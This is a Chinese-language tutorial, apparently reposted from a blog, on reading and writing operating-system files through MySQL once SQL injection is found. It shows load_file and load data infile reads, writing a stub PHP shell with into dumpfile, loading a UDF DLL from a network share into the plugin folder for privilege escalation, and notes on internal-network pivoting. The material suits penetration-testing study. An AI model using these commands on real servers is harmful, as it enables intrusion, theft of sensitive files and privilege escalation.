mysql read file_MySQL利用OS读写文件的前提
能讀寫文件的前提
不同系統、不同的數據庫版本有細微差異,以下實驗都在Windows和Mysql 5.7.26下操作;
1.擁有該File的讀權限 或 該目錄寫的權限
2.secure_file_priv屬性的值不為NULL
Windows下的設置
修改mysql.ini 文件,在[mysqld] 下添加條目: secure_file_priv =
保存,重啟mysql。
secure_file_priv屬性值的設置:
secure_file_priv為null 表示不允許導入導出 (5.7后為默認值)
secure_file_priv指定文件夾時,表示mysql的導入導出只能發生在指定的文件夾
secure_file_priv沒有設置時,則表示沒有任何限制
[mysqld]
secure_file_priv=
# secure_file_priv= 表示對讀寫沒有限制
# secure_file_priv= 在基線掃描時也是一個漏洞特征
Linux下的設置
在/etc/my.cnf的[mysqld]下面添加
[mysqld]
secure_file_priv=''
# 保存,重啟mysql
pkill mysqld
ps -e|grep mysqld
# 如果為空說明殺光了
./mysql_safe &
沒有讀寫權限的嘗試
win:
use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;
也不報錯,就是每執行一次就增加一行空值;
linxu:
報錯:The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
確認有SQL注入后,跟進確認是否有讀寫權限
# win
show global variables LIKE "secure_file_priv";
# linux
show global variables LIKE "secure_file_priv";
read
能讀文件意味著系統敏感文件泄露,代碼被審計;讀遠程文件;
準備好要讀的文件
常用讀文件函數,mysql在不同版本讀取文件的函數可能會不同:
load_file()
load data infile()
system cat
load_file()
use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;
sql> insert into read2_tb(word) values (load_file('D:/test.txt'))
[2019-08-15 10:55:11] 1 row affected in 4 ms
讀入成功。
load_file( )函數支持網絡路徑。如果你可以將DLL復制到網絡共享中,那么你就可以直接加載并將它寫入磁盤。
select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
load data infile()
load data infile 'D:/test.txt' into table read2_tb;
write
寫命令可以將一條select語句的結果寫到MySQL進程所有者擁有的完全可寫權限的文件中。能寫文件就意味著能寫入shell, OS 區分Win\Linux之間的差別;
into outfile
將某列數據寫出
use thirdweek;
select * from read2_tb where 1=1 into outfile 'D:/test2.txt';
# D:/test2.txt 不能存在,不然報錯
[2019-08-15 11:23:11] [HY000][1086] File 'D:/test.txt' already exists
自定義shell寫出
select "123<?php ?>" into dumpfile '/home/Mysticbinary/test.so';
into dumpfile
Think about it carefully. Both of them are function writers. Are they different?
Reference:https://www.jb51.net/article/139858.htm
The difference beween outfile and dumpfile:
導出的行數不一樣
轉義輸出
是否允許二進制文件
導出的行數區別
outfile
首先通過命令select * from test into outfile '/tmp/test.txt'來使用outfile導出:
通過查看官方文檔,可以看出使用如下參數可以進行格式調整
FIELDS ESCAPED BY 可以用來對指定的字符進行轉義
FIELDS [OPTIONALLY] ENCLOSED BY 用來對字段值進行包裹
FIELDS TERMINATED BY 用來對字段值之間進行分割
Example:select * from test into outfile '/tmp/test.txt FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY ' " 'LINES TERMINATED BY '\n'
Example out :
dumpfile
在通過命令select * from test into dumpfile '/tmp/test.txt'來使用outfile導出:
命令執行時,命令提示超過一行
查看文件內容
通過dumpfile導出的數據行數據之間并未進行換行且只導出了部分數據。
轉義輸出
保持原數據格式
outfile
我們使用命令 select 'a\naa\raaaa' into outfile '/tmp/test.txt' 來看一下在常用的寫文件場景下的結果
outfile對導出內容中的\n等特殊字符進行了轉義,并且在文件內容的末尾增加了一個新行
dumpfile
使用命令select 'a\naa\raaaa' into dumpfile '/tmp/test.txt';
可以看到dumpfile對文件內容是原稿寫入,未做任何轉移和增加。
基于這個原因,在UDF提權中一般使用dumpfile進行dll文件 寫入的原因。
二進制文件
outfile后面不能接0x開頭或者char轉換以后的路徑,只能是單引號路徑。這個問題在php注入中很棘手,因為會自動將單引號轉義成\',請千萬注意。
但dumpfile,后面的路徑可以是單引號、0x、char轉換的字符,但是路徑中的斜杠是/而不是\。
因為dumpfile允許寫二進制文件。
mysql寫shell并利用成功的前提
1.擁有上面說的3個前提
2.能寫入到可執行目錄里面
3.能連接成功
利用mysql寫shell的好處
內網擴散
數據庫一般都在內網之中,與其他內網主機能互通,作為一個跳板機就很理想,不過需要注意OP/DBA這種崗位對這臺SQL主機的持續監控;
提權
一般進入主機可能是低權限或者匿名用戶,但是通過SQL注入得到的登陸用戶具有一定權限;利用SQL注入也是一種提權方式;
system + [shell command]
在mysql版本為5.x時,除了可以使用以上方式讀寫文件,還可以使用命令直接讀寫文件,前提是使用linux.
# read
system cat /test.txt
# writer
system vim /web/site/www/test/a.php
注意:
1.此方法只能在本地讀取,遠程連接mysql時無法使用system
2.無法越權操作
實驗證明
$SQL1 = "select * from test_tb where name='lisi' and sex='0'";
//$SQL2 = "system date;";
$conn = getConnect();
$result = $conn->query($SQL1);
//$result = $conn->query($SQL2);
print_r($result);
在php遠程連接mysql,然后執行了SQL1 和 SQL2, 發現執行的system的SQL語句失敗。說明該關鍵字只能在本地的Linux Mysql上使用。
總結
以上是生活随笔為你收集整理的mysql read file_MySQL利用OS读写文件的前提的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mysql 账户管理_Mysql账户管理
- 下一篇: linux下查找某个文件